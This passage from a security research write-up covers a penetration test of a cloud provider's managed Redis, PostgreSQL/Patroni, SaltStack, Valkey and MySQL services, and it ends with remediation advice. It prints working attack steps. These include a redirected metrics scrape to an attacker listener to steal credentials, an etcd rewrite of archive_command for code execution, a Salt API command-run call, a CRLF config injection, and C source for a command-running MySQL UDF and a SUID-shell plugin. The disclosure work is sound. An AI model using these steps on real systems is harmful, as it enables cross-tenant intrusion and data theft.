the loaded MBean to achieve RCE on the host. Kafka process context and node network interfaces This attack vector was possible because the RMI stub host, which security standards require to be bound only to the loopback interface (127.0.0.1), was mistakenly exposed to the cloud’s shared overlay network. 2.3. Credential leakage through redis-exporter The next step was to analyze hosts running managed Redis instances. Alongside the main port 6379 used by Redis, each host had a redis exporter service on port 9121. Analysis of its source code revealed a logic vulnerability in how the target parameter was handled: //redis_exporter/exporter/http.go:47 func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) { target := r.URL.Query().Get("target") ... if !strings.Contains(target, "://") { target = "redis://" + target } u, err := url.Parse(target) ... opts := e.options ... _, err = NewRedisExporter(target, opts) ...Essentially, the /scrape handler accepts an arbitrary target parameter and attempts to collect metrics from that target with the same credentials the exporter uses to connect to its primary Redis instance. Directing a redis exporter request to an attacker-controlled host, such as one running nc -nvlp 6379, makes it possible to intercept the following credentials: http://<redis_expoter_host>:9121/scrape?target=<fake_redis_server> AUTH command in an intercepted Redis request The captured credentials allowed access to other customers’ Redis instances to read, modify, or delete stored data. Diagnostic information of the Valkey instance (Note. A Redis RCE vulnerability was disclosed during the research. Combined with the access obtained, it made it possible to fully compromise other tenants’ services). 2.4. Compromise of managed PostgreSQL (Patroni) clusters The PostgreSQL DBMS is one of the most popular managed resources alongside mk8s. The next step was therefore to analyze PostgreSQL hosts in the overlay network. Scanning nodes with the PostgreSQL port (5432) open revealed related services on ports 2379 (an etcd distributed store) and 8008 (Patroni REST API). While the Patroni REST API required authentication, access to etcd was completely unrestricted. Analysis of the contents of etcd revealed a critical key, /v2/keys/service/pg-cluster/config, which contained the Patroni configuration. Patroni configuration in etcd { "ttl": 30, "loop_wait": 10, "retry_timeout": 10, "maximum_lag_on_failover": 1048576, "postgresql": { "use_pg_rewind": true, "parameters": { "archive_command": "id", "archive_mode": "always", "max_connections": 550, "max_locks_per_transaction": 512, "max_worker_processes": 27 } } } Write access to this configuration file allows an attacker to set archive_command to a command of their choice and achieve RCE on the target host when the archiving process starts. To avoid waiting for the WAL to fill up through normal activity, a way was found to force archiving even with minimal access privileges: Update the Patroni configuration with the modified archive_command: curl -s -X PUT http://localhost:2379/v2/keys/service/<CLUSTER_NAME>/config -d value="$(jq -c . config.json)" | jqUpdate the configuration again to add the standby_cluster parameter: { "ttl": 30, "loop_wait": 10, "retry_timeout": 10, "maximum_lag_on_failover": 1048576, "postgresql": { "use_pg_rewind": true, "parameters": { "archive_command": "rce", "archive_mode": "on", "archive_timeout": "10", "max_connections": 550, "max_locks_per_transaction": 512, "max_worker_processes": 27 } }, "standby_cluster": { "host": "192.0.2.1", "port": 5432 } }After this parameter is applied, Patroni detects a role conflict for the current primary. The logs show a sequence similar to the following: cannot be a real primary in standby cluster Demoting self (demote-cluster) received fast shutdown request checkpoint starting: shutdown immediatePostgres then restarts, and the archiving process runs and executes the injected command: PostgreSQL process context and node network interfaces This makes it possible to log in to other tenants’ Postgres DBMS instances and gain full control over the data. As an additional risk factor, files containing credentials for access to S3 storage were found on these hosts. Database and S3 access parameters in a backup file This storage holds backups not only of the current instance but also of all other databases in the cloud. List of backup storage locations in S3 3. Attack on SaltStack management infrastructure After gaining root access to the control plane node, the focus shifted to the SaltStack configuration management service. 3.1. Analysis of salt fs The first step was to dump the entire Salt master file system for subsequent static analysis: Fragment of the Salt Master file list It contained numerous files. salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do mkdir -p "/tmp/dump/$(dirname "$f")" salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null doneBecause the Salt version in use was up to date, no known CVEs were applicable. However, we found a custom script (_pillar/somebase.py) with a critical vulnerability among the files on the Salt master. The vendor had written it to service minions running the somebase service. The vulnerability is an insecure SQL query construction through the query.format() method: sql = query.format( minion_id=minion_id, pillar={**pillar, **results}, grains=__grains__, ) loaded_items = db_connections[db_alias].load_object_list(sql)A Salt minion can trigger a pillar refresh and pass arbitrary metadata (grains) to the Salt master. This allows an attacker to inject SQL code through the some_id parameter inside grains. When the extension on the Salt master side processes the request, the generated SQL query is executed in the prod-cloud database. As a result, the vulnerability makes an error-based SQL injection possible. Database error during pillar processing 3.2. Exploiting the SQLi This vulnerability provided access to various database schemas. The most interesting one was the cloudsmth schema, which contained about 50 tables with metadata of all managed resources and VDS. Fragment of the table list in the cloudsmth schema Even more notable was the salt-masters table, which held authentication tokens for all Salt masters. Records with Salt Master authentication tokens With these tokens, we could access the Salt master REST API and run arbitrary commands on all minions in the cloud: curl -k https://salt-master:8000 -H "Accept: application/json" -H "Content-Type: application/json" -H "X-Auth-Token: REDACTED" -d '[{"client":"local","tgt":"hostname-minion","fun":"cmd.run","arg":["id; hostname"]}]'By agreement with the vendor, the attack was not developed further. Even so, access to the salt-masters table and the prod-cloud database would have made it possible to take over all resources, including VDS, S3, and other services, in a single step. 4. Other ways to attack the cloud It’s worth mentioning other ways to get into the overlay network, since some of them also produced interesting cases. 4.1. Exploiting a vulnerability in Managed Valkey During analysis of the Valkey instances deployed in the cloud infrastructure, we found that the software version in use was vulnerable to CVE-2026-25243. At the time of the analysis, no public proofs of concept (PoCs) or exploits existed. To study how the vulnerability manifests, we analyzed the diagnostic data returned by the INFO command: valkey_version=7.2.11 redis_version=7.2.4 redis_git_sha1=97b6663c redis_git_dirty=0 redis_build_id=a75ca2f023d97d88 gcc_version=13.3.0 arch_bits=64 os=Linux 6.8.0-124-generic x86_64 executable=/usr/bin/valkey-serverThe redis_build_id identifier made it possible to determine the exact binary in use. It matched the official build for Ubuntu Noble x86_64. CVE-2026-25243 is caused by the RESTORE command handling serialized RDB objects incorrectly. When the legacy hash-zipmap encoding is used, the validator accepts a 5-byte length representation for a short key, but the parser that follows interprets the key’s internal bytes as the encoding of the value length. This mismatch can cause an out-of-bounds write that overwrites adjacent heap chunks (heap overflow), which can potentially lead to an arbitrary write primitive. After the successful arbitrary write to adjacent memory regions, strict systemd sandbox rules presented an obstacle: NoExecPaths=/ ExecPaths=/usr/bin/valkey-server /usr/lib /lib CapabilityBoundingSet= NoNewPrivileges=true PrivateUsers=true ProtectSystem=strict ProtectHome=true SystemCallFilter=@system-service SystemCallFilter=~ @privileged @resourcesThese parameters block the execution of standard shells, such as /bin/sh. Even so, the /tmp directory was mounted with write access. By modifying the process logic, we could trigger the download and execution of a third-party component from /tmp, which wasn’t covered by the noexec rule. After establishing a stable communication channel, we added an SSH key to /var/lib/valkey/.ssh/authorized_keys. This gave us independent access to the host and the ability to escalate privileges further through standard local privilege escalation (LPE) methods. Valkey process context and Salt grains parameters The GRO Frag vulnerability was triggered in this case, but new LPEs are disclosed every week, so there may be many other ways to escalate privileges and continue the attack on the Salt master. 4.2. MySQL The MySQL database user didn’t have root privileges when the resource was created. DROP TABLE IF EXISTS mysql.global_grants; CREATE TABLE mysql.global_grants ( USER char(32) NOT NULL DEFAULT '', HOST char(255) NOT NULL DEFAULT '', PRIV char(32) NOT NULL DEFAULT '', WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N', PRIMARY KEY (USER, HOST, PRIV) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;However, the application logic allowed this user to drop and recreate the table with dynamic privileges: DROP TABLE IF EXISTS mysql.user; CREATE TABLE mysql.user ( Host char(255) NOT NULL DEFAULT '%', User char(32) NOT NULL DEFAULT '', Select_priv enum('N','Y') NOT NULL DEFAULT 'Y', Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y', Update_priv enum('N','Y') NOT NULL DEFAULT 'Y', Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_priv enum('N','Y') NOT NULL DEFAULT 'Y', Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y', Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y', Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y', Process_priv enum('N','Y') NOT NULL DEFAULT 'Y', File_priv enum('N','Y') NOT NULL DEFAULT 'Y', Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y', References_priv enum('N','Y') NOT NULL DEFAULT 'Y', Index_priv enum('N','Y') NOT NULL DEFAULT 'Y', Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y', Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y', Super_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y', Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y', Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y', Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y', Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y', Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y', Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y', Event_priv enum('N','Y') NOT NULL DEFAULT 'Y', Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y', Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y', ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '', ssl_cipher blob NOT NULL, x509_issuer blob NOT NULL, x509_subject blob NOT NULL, max_questions int unsigned NOT NULL DEFAULT 0, max_updates int unsigned NOT NULL DEFAULT 0, max_connections int unsigned NOT NULL DEFAULT 0, max_user_connections int unsigned NOT NULL DEFAULT 0, plugin char(64) NOT NULL DEFAULT 'caching_sha2_password', authentication_string text, password_expired enum('N','Y') NOT NULL DEFAULT 'N', password_last_changed timestamp NULL DEFAULT NULL, password_lifetime smallint unsigned DEFAULT NULL, account_locked enum('N','Y') NOT NULL DEFAULT 'N', Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y', Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y', Password_reuse_history smallint unsigned DEFAULT NULL, Password_reuse_time smallint unsigned DEFAULT NULL, Password_require_current enum('N','Y') DEFAULT NULL, User_attributes json DEFAULT NULL, PRIMARY KEY (Host, User) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;After the database was restarted and a new user was created, that user automatically received full administrator privileges. Next, we added more privileges: INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y'); INSERT INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y'); INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y'); FLUSH PRIVILEGES;Having escalated privileges in the database, we now needed to achieve RCE. We compiled a custom UDF library to run system commands. #include <stdlib.h> #include <string.h> #include <stdio.h> typedef unsigned long long udf_args_type; typedef struct { unsigned int arg_count; unsigned int *arg_type; char **args; unsigned long *lengths; char *maybe_null; char **attributes; unsigned long *attribute_lengths; void *extension; } UDF_ARGS; typedef struct { char maybe_null; unsigned int decimals; unsigned long max_length; char *ptr; char const_item; void *extension; } UDF_INIT; int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { if (args->arg_count != 1) { strcpy(message, "sys_eval requires one argument"); return 1; } initid->max_length = 65535; return 0; } void sys_eval_deinit(UDF_INIT *initid) {} char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error) { if (!args->args[0]) { *is_null = 1; return NULL; } char cmd[65535]; snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]); FILE *pipe = popen(cmd, "r"); if (!pipe) { *is_null = 1; return NULL; } static char buf[65535]; size_t total = 0; while (total < sizeof(buf)-1) { size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe); if (n == 0) break; total += n; } pclose(pipe); buf[total] = '\0'; *length = total; return buf; }RCE was achieved through a CRLF injection into the configuration file through the cloud provider’s API: curl -s -X PATCH "https://somecloud/api/dbaas/id" \ -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"config_parameters":{"default-time-zone":"+00:00\nsecure_file_priv=\nplugin_dir=/var/lib/mysql-files/\ndefault-time-zone=+00:00\n#"}}'This vector made it possible to inject line breaks and override critical configuration parameters: default-time-zone="+00:00 secure_file_priv= # removes write restrictions so files can be saved to any directory the MySQL user can access. plugin_dir=/var/lib/mysql-files/ # sets a trusted directory for loading dynamic libraries.With the write permissions obtained, a malicious UDF library (shared object) was written to the target directory through the following SQL statement: SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.soWe restarted the MySQL database to apply the updated configuration and initialize the registered plug-in: CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so'; Result of executing id via MySQL UDF The list of active services was analyzed to identify opportunities for local privilege escalation to root. It turned out that the mysql-watcher.service ran with administrator privileges and periodically launched a Python script that accessed MySQL through the system client. To exploit this, we compiled another plug-in: #include <stdlib.h> __attribute__((constructor)) static void init(void) { system("cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash"); }We injected the path to the directory containing the malicious library (.so file, plugin_dir parameter) and the authentication plug-in name default-auth=plugname into the [client] section of the /etc/mysql/my.cnf configuration file. The next time the background mysql-watcher.service starts the MySQL client as root, the plug-in described above executes on the server host. This causes a system command to run and creates a copy of the Bash interpreter with the SUID bit set (/tmp/rbash), which completes the chain leading to full host compromise. Conclusion The cloud provider’s infrastructure was built on in-house components rather than standard open-source solutions, which created a non-trivial attack surface. The research also identified other vulnerabilities, but they were left out of the report because they were standard. Based on the findings, the vendor was given recommendations for strengthening its security posture. The recommendations covered isolating managed services to remove network visibility between them, enforcing strict AppArmor policies to isolate service processes, and adding monitoring of how potentially vulnerable services are used.
Confirm this action.
Leaving now will discard your changes.